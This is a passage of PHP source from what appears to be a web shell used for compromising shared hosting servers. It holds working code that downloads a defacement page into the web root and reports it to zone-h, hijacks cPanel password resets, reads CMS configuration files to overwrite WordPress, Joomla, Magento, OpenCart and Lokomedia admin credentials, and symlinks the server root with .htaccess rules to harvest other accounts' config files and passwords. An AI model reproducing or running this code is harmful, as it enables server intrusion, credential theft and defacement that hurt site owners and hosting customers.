    $hh  = $_SERVER['DOCUMENT_ROOT'] . "/0x.htm";
    @file_put_contents($hh, file_get_contents("http://pastebin.com/raw/PDcuwBug"));
    function zoneh($url, $nick)
    {
        $ch = curl_init("http://www.zone-h.com/notify/single");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
        return curl_exec($ch);
        curl_close($ch);
    }
    $zoneh = zoneh($url, "0x1999");
    if (preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
        echo "$url -> <font color=lime>OK</font><br>";
    } else {
        echo "$url -> <font color=red>ERROR</font><br>";
    }
} elseif (isset($_GET['do']) && ($_GET['do'] == 'cpres')) {
    echo "Enter email account : <form method='post'><input type='text' name='email' value='resetpass@hi2.in'> <input type='submit' value='Gas'></form>";
    if ($_POST['email']) {
        $file3 = $_POST['email'];
        $fp3   = fopen("/home/" . $user . "/.contactemail", "w");
        $fw3   = fwrite($fp3, $file3);
        @fclose($fp3);
        $fp4 = fopen("/home/" . $user . "/.cpanel/contactinfo", "w");
        $fw4 = fwrite($fp4, $file3);
        @fclose($fp4);
        $link = $_SERVER['HTTP_HOST'];
        echo "Login here : <a href='https://$link:2083/resetpass?start=1&user=$user' target='_BLANK'>https://$link:2083/resetpass?start=1&user=$user</a> or <a href='http://$link:2082/resetpass?start=1&user=$user' target='_BLANK'>http://$link:2082/resetpass?start=1&user=$user</a>";
    }
} elseif (isset($_GET['do']) && ($_GET['do'] == 'crp')) {
    if ($_POST['gass']) {
        echo "<center><h1>Config Reset Password</h1>
    <form method='post'>
    Link Config: <br>
    <textarea name='link' style='width: 450px; height:250px;'>";
        UrlLoop($_POST['linkconf'], $_POST['tipe']);
        echo "</textarea><br>
    <input type='submit' style='width: 450px;' name='ngentuconfig' value='Hajar!!'>
    </form></center>";
    } else {
        echo '<center>
    <h1>Config Reset Password</h1>
    <form method="post">
    Select Type :<br><select class="select" name="tipe"  style="width: 450px;" height="10">
    <option value="Wordpress">Wordpress</option>
    <option value="Joomla">Joomla</option>
    <option value="Lokomedia">Lokomedia</option>
    <option value="Magento">Magento</option>
    <option value="OpenCart">OpenCart</option>
    <option value="txt">All Config</option>
    </select><br>
    Link Config :<br>
    <input type="text" name="linkconf" height="10" style="width: 450px;" placeholder="http://0xdark.com/cox_symconf/"><br>
    <input type="submit" style="width: 450px;" name="gass" value="Hajar!!">
    </form></center>';
    }
    if ($_POST['ngentuconfig']) {
        echo "<center><table style='width:100%'>
  <tr>
    <th>CMS</th>
    <th>User</th>
    <th>Password</th>
    <th>Login</th>
    <th>Config</th>
  </tr>";
        $user  = '0x1999';
        $pass  = "0x1999";
        $passx = md5($pass);
        $link  = explode("\r\n", $_POST['link']);

        foreach ($link as $file_conf) {
            $config = file_get_contents($file_conf);
            if (preg_match("/JConfig|joomla/", $config)) {
                $dbhost   = ambilkata($config, "host = '", "'");
                $dbuser   = ambilkata($config, "user = '", "'");
                $dbpass   = ambilkata($config, "password = '", "'");
                $dbname   = ambilkata($config, "db = '", "'");
                $dbprefix = ambilkata($config, "dbprefix = '", "'");
                $prefix   = $dbprefix . "users";
                $conn     = mysql_connect($dbhost, $dbuser, $dbpass);
                $db       = mysql_select_db($dbname);
                $q        = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
                $result   = mysql_fetch_array($q);
                $id       = $result['id'];
                $site     = ambilkata($config, "sitename = '", "'");
                $update   = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE id='$id'");
                echo "<tr><td>Joomla</td>";
                //echo "[ ".$file_conf." ]<br>";
                //echo "CMS => Joomla<br>";
                if ($site == '') {
                    $url_target = "<font color=red>ERROR</font><br>";
                } else {
                    $url_target = $site;
                }
                if (!$update) {
                    echo "<td><font color=red>" . mysql_error() . "</font></td><td>Update Error</td><td>!</td><td>" . $file_conf . "</td>";
                } elseif (!$conn) {
                    echo "<td><font color=red>" . mysql_error() . "</font></td><td>Connection Error</td><td>!</td><td>" . $file_conf . "</td>";
                } elseif (!$db) {
                    echo "<td><font color=red>" . mysql_error() . "</font></td><td>DB Error</td><td>!</td><td>" . $file_conf . "</td>";
                } else {
                    echo "<td><font color=lime>$user</font></td>";
                    echo "<td><font color=lime>$pass</font></td>";
                    echo "<td><a href=\"https://www.google.com/search?source=hp&q='$url_target'\" target=\"_BLANK\">$url_target</a></td>";
                    echo "<td>" . $file_conf . "</td>";
                }
                echo "</tr>";
                mysql_close($conn);
            } elseif (preg_match("/WordPress/", $config)) {
                $dbhost   = ambilkata($config, "DB_HOST', '", "'");
                $dbuser   = ambilkata($config, "DB_USER', '", "'");
                $dbpass   = ambilkata($config, "DB_PASSWORD', '", "'");
                $dbname   = ambilkata($config, "DB_NAME', '", "'");
                $dbprefix = ambilkata($config, "table_prefix  = '", "'");
                $prefix   = $dbprefix . "users";
                $option   = $dbprefix . "options";
                $conn     = mysql_connect($dbhost, $dbuser, $dbpass);
                $db       = mysql_select_db($dbname);
                $q        = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
                $result   = mysql_fetch_array($q);
                $id       = $result[ID];
                $q2       = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
                $result2  = mysql_fetch_array($q2);
                $target   = $result2[option_value];
                if ($target == '') {
                    $url_target = "<font color=red>DOMAIN ERROR</font>";
                } else {
                    $url_target = "<a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a>";
                }
                $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE id='$id'");
                echo "<tr><td>Wordpress</td>";
                //echo "[ ".$file_conf." ]<br>";
                //echo $url_target;
                if (!$update or !$conn or !$db) {
                    echo "<td><font color=red>" . mysql_error() . "</font></td><td>!</td><td>!</td><td>" . $file_conf . "</td>";
                } else {
                    echo "<td><font color=lime>$user</font></td>";
                    echo "<td><font color=lime>$pass</font></td>";
                    echo "<td>$url_target</td>";
                    echo "<td>" . $file_conf . "</td>";
                }
                echo "</tr>";
                mysql_close($conn);
            } elseif (preg_match("/Magento|Mage_Core/", $config)) {
                $dbhost   = ambilkata($config, "<host><![CDATA[", "]]></host>");
                $dbuser   = ambilkata($config, "<username><![CDATA[", "]]></username>");
                $dbpass   = ambilkata($config, "<password><![CDATA[", "]]></password>");
                $dbname   = ambilkata($config, "<dbname><![CDATA[", "]]></dbname>");
                $dbprefix = ambilkata($config, "<table_prefix><![CDATA[", "]]></table_prefix>");
                $prefix   = $dbprefix . "admin_user";
                $option   = $dbprefix . "core_config_data";
                $conn     = mysql_connect($dbhost, $dbuser, $dbpass);
                $db       = mysql_select_db($dbname);
                $q        = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
                $result   = mysql_fetch_array($q);
                $id       = $result[user_id];
                $q2       = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
                $result2  = mysql_fetch_array($q2);
                $target   = $result2[value];
                if ($target == '') {
                    $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                } else {
                    $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
                }
                $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE user_id='$id'");
                echo "[ " . $file_conf . " ]<br>";
                echo "CMS => Magento<br>";
                echo $url_target;
                if (!$update or !$conn or !$db) {
                    echo "[-] <font color=red>" . mysql_error() . "</font><br><br>";
                } else {
                    echo "[+] username: <font color=lime>$user</font><br>";
                    echo "[+] password: <font color=lime>$pass</font><br><br>";
                }
                mysql_close($conn);
            } elseif (preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $config)) {
                $dbhost   = ambilkata($config, "'DB_HOSTNAME', '", "'");
                $dbuser   = ambilkata($config, "'DB_USERNAME', '", "'");
                $dbpass   = ambilkata($config, "'DB_PASSWORD', '", "'");
                $dbname   = ambilkata($config, "'DB_DATABASE', '", "'");
                $dbprefix = ambilkata($config, "'DB_PREFIX', '", "'");
                $prefix   = $dbprefix . "user";
                $conn     = mysql_connect($dbhost, $dbuser, $dbpass);
                $db       = mysql_select_db($dbname);
                $q        = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
                $result   = mysql_fetch_array($q);
                $id       = $result[user_id];
                $target   = ambilkata($config, "HTTP_SERVER', '", "'");
                if ($target == '') {
                    $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                } else {
                    $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
                }
                $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE user_id='$id'");
                echo "[ " . $file_conf . " ]<br>";
                echo "CMS => OpenCart<br>";
                echo $url_target;
                if (!$update or !$conn or !$db) {
                    echo "[-] <font color=red>" . mysql_error() . "</font><br><br>";
                } else {
                    echo "[+] username: <font color=lime>$user</font><br>";
                    echo "[+] password: <font color=lime>$pass</font><br><br>";
                }
                mysql_close($conn);
            } elseif (preg_match("/panggil fungsi validasi xss dan injection/", $config)) {
                $dbhost = ambilkata($config, 'server = "', '"');
                $dbuser = ambilkata($config, 'username = "', '"');
                $dbpass = ambilkata($config, 'password = "', '"');
                $dbname = ambilkata($config, 'database = "', '"');
                $prefix = "users";
                $option = "identitas";
                $conn   = mysql_connect($dbhost, $dbuser, $dbpass);
                $db     = mysql_select_db($dbname);
                $q      = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
                $result = mysql_fetch_array($q);
                $target = $result[alamat_website];
                if ($target == '') {
                    $target2    = $result[url];
                    $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                    if ($target2 == '') {
                        $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                    } else {
                        $cek_login3 = file_get_contents("$target2/adminweb/");
                        $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
                        if (preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
                            $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
                        } elseif (preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
                            $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
                        } else {
                            $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
                        }
                    }
                } else {
                    $cek_login  = file_get_contents("$target/adminweb/");
                    $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
                    if (preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
                        $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
                    } elseif (preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
                        $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
                    } else {
                        $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
                    }
                }
                $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE level='admin'");
                echo "[ " . $file_conf . " ]<br>";
                echo "CMS => Lokomedia<br>";
                if (preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
                    echo $url_target2;
                } else {
                    echo $url_target;
                }
                if (!$update or !$conn or !$db) {
                    echo "[-] <font color=red>" . mysql_error() . "</font><br><br>";
                } else {
                    echo "[+] username: <font color=lime>$user</font><br>";
                    echo "[+] password: <font color=lime>$pass</font><br><br>";
                }
                mysql_close($conn);
            }
        }
    }
} elseif (isset($_GET['do']) && ($_GET['do'] == 'grabpass')) {
    if ($_POST['gass']) {
        echo "<center><h1>Config Password Grabber</h1>
        <form method='post'>
        Link Config: <br>
        <textarea name='link' style='width: 450px; height:250px;'>";
        UrlLoop($_POST['linkconf'], 'txt');
        echo "</textarea><br>
        <input type='submit' style='width: 450px;' name='grabpass' value='Hajar!!'>
        </form></center>";
    } else {
        echo "<center><h1>Config Password Grabber</h1>
        <form method='post'>
        Link Config: <br>
        <input type='text' name='linkconf' height='10' size='50' placeholder='http://link.com/0xsym/'><br>
        <input type='submit' style='width: 450px;' name='gass' value='Hajar!!'>
        </form></center>";
    }
    if ($_POST['grabpass']) {

        $link = explode("\r\n", $_POST['link']);
        echo '<textarea>';
        foreach ($link as $dir_config) {
            $ambilpass = ambil_password($dir_config);
            $hh        = @file_get_contents("password.txt");
            @file_put_contents("password.txt", $hh . $ambilpass);

            echo $ambilpass;

        }
        echo '</textarea>';
    }
} elseif (isset($_GET['do']) && ($_GET['do'] == 'symlink')) {
    $full    = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
    $d0mains = @file("/etc/named.conf");
    if ($d0mains) {
        @mkdir("0xsymlink", 0777);
        @chdir("0xsymlink");
        @exe("ln -s / root");
        $file3 = 'Options Indexes FollowSymLinks
DirectoryIndex jancox.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any';
        $fp3 = fopen('.htaccess', 'w');
        $fw3 = fwrite($fp3, $file3);
        @fclose($fp3);
        echo "
<table align=center border=1 style='width:60%;border-color:#333333;'>
<tr>
<td align=center><font size=2>S. No.</font></td>
<td align=center><font size=2>Domains</font></td>
<td align=center><font size=2>Users</font></td>
<td align=center><font size=2>Symlink</font></td>
</tr>";
        $dcount = 1;
        foreach ($d0mains as $d0main) {
            if (eregi("zone", $d0main)) {
                preg_match_all('#zone "(.*)"#', $d0main, $domains);
                flush();
                if (strlen(trim($domains[1][0])) > 2) {
                    $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
                    echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
<td align=left><a href=http://www." . $domains[1][0] . "/><font class=txt>" . $domains[1][0] . "</font></a></td>
<td>" . $user['name'] . "</td>
<td><a href='$full/0xsymlink/root/home/" . $user['name'] . "/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
                    flush();
                    $dcount++;}}}
        echo "</table>";
    } else {
        $TEST = $etcpasswd;
        if ($TEST) {
            @mkdir("0xsymlink", 0777);
            @chdir("0xsymlink");
            exe("ln -s / root");
            $file3 = 'Options Indexes FollowSymLinks
DirectoryIndex jancox.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any';
            $fp3 = fopen('.htaccess', 'w');
            $fw3 = fwrite($fp3, $file3);
            @fclose($fp3);
            echo "
 <table align=center border=1><tr>
 <td align=center>S. No.</td>
 <td align=center>Users</td>
 <td align=center>Symlink</td></tr>";
            $dcount = 1;
            $file   = $etcpasswd;
            preg_match_all('/(.*?):x:/', $file, $file);
            foreach ($file[1] as $matches) {
                echo "<tr><td align=center><font size=2>" . $dcount . "</td>
 <td align=center><font class=txt>" . $matches . "</td>";
                echo "<td align=center><font class=txt><a href=$full/0xsymlink/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
                $dcount++;
            }
            echo "</table>";
        } else {

            if ($os != "Windows") {
                @mkdir("0xsymlink", 0777);
                @chdir("0xsymlink");
                @exe("ln -s / root");
                $file3 = '
Options Indexes FollowSymLinks
DirectoryIndex jancox.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any
';
                $fp3 = fopen('.htaccess', 'w');
                $fw3 = fwrite($fp3, $file3);@fclose($fp3);
                echo "
 <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
 <table align=center border=1><tr>
 <td align=center><font size=3>ID</font></td>
 <td align=center><font size=3>Users</font></td>
 <td align=center><font size=3>Symlink</font></td></tr>";
                $temp = "";
                $val1 = 0;
                $val2 = 1000;
                for (; $val1 <= $val2; $val1++) {
                    $uid = @posix_getpwuid($val1);
                    if ($uid) {
                        $temp .= join(':', $uid) . "\n";
                    }
                }
                echo '<br/>';
                $temp  = trim($temp);
                $file5 =
                    fopen("test.txt", "w");
                fputs($file5, $temp);
                fclose($file5);
                $dcount = 1;
                $file   =
                fopen("test.txt", "r") or exit("Unable to open file!");
                while (!feof($file)) {
                    $s       = fgets($file);
                    $matches = array();
                    $t       = preg_match('/\/(.*?)\:\//s', $s, $matches);
                    $matches = str_replace("home/", "", $matches[1]);
                    if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") {
                        continue;
                    }

                    echo "<tr><td align=center><font size=2>" . $dcount . "</td>
 <td align=center><font class=txt>" . $matches . "</td>";
                    echo "<td align=center><font class=txt><a href=$full/0xsymlink/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
                    $dcount++;}
                fclose($file);
                echo "</table></div></center>";
                unlink("test.txt");
            } else {
                echo "<center><font size=3>Cannot create Symlink</font></center>";
            }

        }
    }
} elseif (isset($_GET['do']) && ($_GET['do'] == 'config')) {
    if (strtolower(substr(PHP_OS, 0, 3)) == "win") {
        echo '<script>alert("Tidak bisa di gunakan di server windows")</script>';
        exit;
    }
    if ($_POST) {
        if ($_POST['tipe'] == 'grabsymv') {
            @mkdir("0xsymv", 0777);
            exe("ln -s / 0xsymv/root");
            $htaccess = "Options Indexes FollowSymLinks
DirectoryIndex jancox.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any";
            @file_put_contents("0xsymv/.htaccess", $htaccess);
            $etc_passwd = $_POST['passwd'];

            $etc_passwd = explode("\n", $etc_passwd);
            foreach ($etc_passwd as $passwd) {
                $pawd  = explode(":", $passwd);
                $user  = $pawd[5];
                $usera = preg_replace('/\/var\/www\/vhosts\//', '', $user);
                if (preg_match('/vhosts/i', $user)) {
                    exe("ln -s " . $user . "/httpdocs/wp-config.php 0xsymv/" . $usera . "-Wordpress.txt");
                    exe("ln -s " . $user . "/httpdocs/configuration.php 0xsymv/" . $usera . "-Joomla.txt");
                    exe("ln -s " . $user . "/httpdocs/config/koneksi.php 0xsymv/" . $usera . "-Lokomedia.txt");
                    exe("ln -s " . $user . "/httpdocs/forum/config.php 0xsymv/" . $usera . "-phpBB.txt");
                    exe("ln -s " . $user . "/httpdocs/sites/default/settings.php 0xsymv/" . $usera . "-Drupal.txt");
                    exe("ln -s " . $user . "/httpdocs/config/settings.inc.php 0xsymv/" . $usera . "-PrestaShop.txt");
                    exe("ln -s " . $user . "/httpdocs/app/etc/local.xml 0xsymv/" . $usera . "-Magento.txt");
                    exe("ln -s " . $user . "/httpdocs/admin/config.php 0xsymv/" . $usera . "-OpenCart.txt");
                    exe("ln -s " . $user . "/httpdocs/application/config/database.php 0xsymv/" . $usera . "-Ellislab.txt");
                }}}
        if ($_POST['tipe'] == 'grabsym') {
            @mkdir("0xsym", 0777);
            @symlink("/", "0xsym/root");
            $htaccess = "Options Indexes FollowSymLinks
DirectoryIndex jancox.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any";
            @file_put_contents("0xsym/.htaccess", $htaccess);}
        if ($_POST['tipe'] == 'grabsym404') {
            @mkdir("0xsym404", 0777);
            @symlink("/", "0xsym404/root");
            $htaccess = "Options Indexes FollowSymLinks
DirectoryIndex jancox.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any
IndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*
AddIcon 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFUSURBVDiNpZK9SgNBFIXPvXNndjcRopX4U4kWVr5AChU7H8BSfItAHkB9CXsrW0GwEQtRwVKMRtAU8ZcYWaNmM2OxqyyiYZdcGIaZ4Z77MeeQcw6DFA/UDUAAYHHj8hOATj9oRSe2Z1f2KjP1fgLknMPS5lW0Vi4pZopvHXDW+IhOr99gXTzkr9qvTBMtrNd8AsLVcomZKDP61kELihGIJ9QBgO2jdsIE/Jb5OacGFAwDQEeMEOZnh1EqMChtSB8a64BW2MNh7QVihCGKcNHswmZ0lAkYHxF4QhBPCKIYRU9l605KmGCEIUYztCYMBfkEjGZ4OiHwRQF+vkQG+ptACIFREJVPQAvFf+BrjoyQ+CZfqq118DRFEhjebbbel6dGiyTqf+vSrkaRQ/0utL7mHXl9vq+eP3Unbh/H5gDKiOF67YebY0dSJcRBm0z2rFl2yWp8AVDIW32da7pLAAAAAElFTkSuQmCC' ^^DIRECTORY^^
DefaultIcon 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='
IndexIgnore *.txt404
IndexStyleSheet 'https://0x1999.github.io/0xShell/style/melex.css'
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} ^.*0xsym404 [NC]
RewriteRule \.txt$ %{REQUEST_URI}404 [L,R=302.NC]";
            @file_put_contents("0xsym404/.htaccess", $htaccess);
        }
        if ($_POST['tipe'] == 'grab') {
            mkdir("0xgrab", 0777);
            $isi_htc = "Options all\nRequire None\nSatisfy Any";
            $htc     = fopen("0xgrab/.htaccess", "w");
            fwrite($htc, $isi_htc);
        }
        $passwd = $_POST['passwd'];

        preg_match_all('/(.*?):x:/', $passwd, $user_config);
        foreach ($user_config[1] as $user_cox) {
            $grab_config = array(
                "/home/$user_cox/.accesshash"                                      => "WHM-accesshash",
                "/home/$user_cox/public_html/config/koneksi.php"                   => "Lokomedia",
                "/home/$user_cox/public_html/forum/config.php"                     => "phpBB",
                "/home/$user_cox/public_html/sites/default/settings.php"           => "Drupal",
                "/home/$user_cox/public_html/config/settings.inc.php"              => "Shop",
                "/home/$user_cox/public_html/app/etc/local.xml"                    => "Magento",
                "/home/$user_cox/public_html/admin/config.php"                     => "OpenCart",
                "/home/$user_cox/public_html/application/config/database.php"      => "Ellislab",
                "/home/$user_cox/public_html/vb/includes/config.php"               => "Vbulletin",
                "/home/$user_cox/public_html/includes/config.php"                  => "Vbulletin",
                "/home/$user_cox/public_html/forum/includes/config.php"            => "Vbulletin",
                "/home/$user_cox/public_html/forums/includes/config.php"           => "Vbulletin",
                "/home/$user_cox/public_html/cc/includes/config.php"               => "Vbulletin",
                "/home/$user_cox/public_html/inc/config.php"                       => "MyBB",
                "/home/$user_cox/public_html/includes/configure.php"               => "OsCommerce",
                "/home/$user_cox/public_html/shop/includes/configure.php"          => "OsCommerce",
                "/home/$user_cox/public_html/os/includes/configure.php"            => "OsCommerce",
                "/home/$user_cox/public_html/oscom/includes/configure.php"         => "OsCommerce",
                "/home/$user_cox/public_html/products/includes/configure.php"      => "OsCommerce",
                "/home/$user_cox/public_html/cart/includes/configure.php"          => "OsCommerce",
                "/home/$user_cox/public_html/inc/conf_global.php"                  => "IPB",
                "/home/$user_cox/public_html/wp-config.php"                        => "Wordpress",
                "/home/$user_cox/public_html/wp/test/wp-config.php"                => "Wordpress",
                "/home/$user_cox/public_html/blog/wp-config.php"                   => "Wordpress",
                "/home/$user_cox/public_html/beta/wp-config.php"                   => "Wordpress",
                "/home/$user_cox/public_html/portal/wp-config.php"                 => "Wordpress",
                "/home/$user_cox/public_html/site/wp-config.php"                   => "Wordpress",
                "/home/$user_cox/public_html/wp/wp-config.php"                     => "Wordpress",
                "/home/$user_cox/public_html/WP/wp-config.php"                     => "Wordpress",
                "/home/$user_cox/public_html/news/wp-config.php"                   => "Wordpress",
                "/home/$user_cox/public_html/wordpress/wp-config.php"              => "Wordpress",
                "/home/$user_cox/public_html/test/wp-config.php"                   => "Wordpress",
                "/home/$user_cox/public_html/demo/wp-config.php"                   => "Wordpress",
                "/home/$user_cox/public_html/home/wp-config.php"                   => "Wordpress",
                "/home/$user_cox/public_html/v1/wp-config.php"                     => "Wordpress",
                "/home/$user_cox/public_html/v2/wp-config.php"                     => "Wordpress",
                "/home/$user_cox/public_html/press/wp-config.php"                  => "Wordpress",
                "/home/$user_cox/public_html/new/wp-config.php"                    => "Wordpress",
                "/home/$user_cox/public_html/blogs/wp-config.php"                  => "Wordpress",
                "/home/$user_cox/public_html/configuration.php"                    => "Joomla",
                "/home/$user_cox/public_html/blog/configuration.php"               => "Joomla",
                "/home/$user_cox/public_html/submitticket.php"                     => "^WHMCS",
                "/home/$user_cox/public_html/cms/configuration.php"                => "Joomla",
                "/home/$user_cox/public_html/beta/configuration.php"               => "Joomla",
                "/home/$user_cox/public_html/portal/configuration.php"             => "Joomla",
                "/home/$user_cox/public_html/site/configuration.php"               => "Joomla",
                "/home/$user_cox/public_html/main/configuration.php"               => "Joomla",
                "/home/$user_cox/public_html/home/configuration.php"               => "Joomla",
                "/home/$user_cox/public_html/demo/configuration.php"               => "Joomla",
                "/home/$user_cox/public_html/test/configuration.php"               => "Joomla",
                "/home/$user_cox/public_html/v1/configuration.php"                 => "Joomla",
                "/home/$user_cox/public_html/v2/configuration.php"                 => "Joomla",
                "/home/$user_cox/public_html/joomla/configuration.php"             => "Joomla",
                "/home/$user_cox/public_html/new/configuration.php"                => "Joomla",
                "/home/$user_cox/public_html/WHMCS/submitticket.php"               => "WHMCS",
                "/home/$user_cox/public_html/whmcs1/submitticket.php"              => "WHMCS",
                "/home/$user_cox/public_html/Whmcs/submitticket.php"               => "WHMCS",
                "/home/$user_cox/public_html/whmcs/submitticket.php"               => "WHMCS",
                "/home/$user_cox/public_html/whmcs/submitticket.php"               => "WHMCS",
                "/home/$user_cox/public_html/WHMC/submitticket.php"                => "WHMCS",
                "/home/$user_cox/public_html/Whmc/submitticket.php"                => "WHMCS",
                "/home/$user_cox/public_html/whmc/submitticket.php"                => "WHMCS",
                "/home/$user_cox/public_html/WHM/submitticket.php"                 => "WHMCS",
                "/home/$user_cox/public_html/Whm/submitticket.php"                 => "WHMCS",
                "/home/$user_cox/public_html/whm/submitticket.php"                 => "WHMCS",
                "/home/$user_cox/public_html/HOST/submitticket.php"                => "WHMCS",
                "/home/$user_cox/public_html/Host/submitticket.php"                => "WHMCS",
                "/home/$user_cox/public_html/host/submitticket.php"                => "WHMCS",
                "/home/$user_cox/public_html/SUPPORTES/submitticket.php"           => "WHMCS",
                "/home/$user_cox/public_html/Supportes/submitticket.php"           => "WHMCS",
                "/home/$user_cox/public_html/supportes/submitticket.php"           => "WHMCS",
                "/home/$user_cox/public_html/domains/submitticket.php"             => "WHMCS",
                "/home/$user_cox/public_html/domain/submitticket.php"              => "WHMCS",
                "/home/$user_cox/public_html/Hosting/submitticket.php"             => "WHMCS",
                "/home/$user_cox/public_html/HOSTING/submitticket.php"             => "WHMCS",
                "/home/$user_cox/public_html/hosting/submitticket.php"             => "WHMCS",
                "/home/$user_cox/public_html/CART/submitticket.php"                => "WHMCS",
                "/home/$user_cox/public_html/Cart/submitticket.php"                => "WHMCS",
                "/home/$user_cox/public_html/cart/submitticket.php"                => "WHMCS",
                "/home/$user_cox/public_html/ORDER/submitticket.php"               => "WHMCS",
                "/home/$user_cox/public_html/Order/submitticket.php"               => "WHMCS",
                "/home/$user_cox/public_html/order/submitticket.php"               => "WHMCS",
                "/home/$user_cox/public_html/CLIENT/submitticket.php"              => "WHMCS",
                "/home/$user_cox/public_html/Client/submitticket.php"              => "WHMCS",
                "/home/$user_cox/public_html/client/submitticket.php"              => "WHMCS",
                "/home/$user_cox/public_html/CLIENTAREA/submitticket.php"          => "WHMCS",
                "/home/$user_cox/public_html/Clientarea/submitticket.php"          => "WHMCS",
                "/home/$user_cox/public_html/clientarea/submitticket.php"          => "WHMCS",
                "/home/$user_cox/public_html/SUPPORT/submitticket.php"             => "WHMCS",
                "/home/$user_cox/public_html/Support/submitticket.php"             => "WHMCS",
                "/home/$user_cox/public_html/support/submitticket.php"             => "WHMCS",
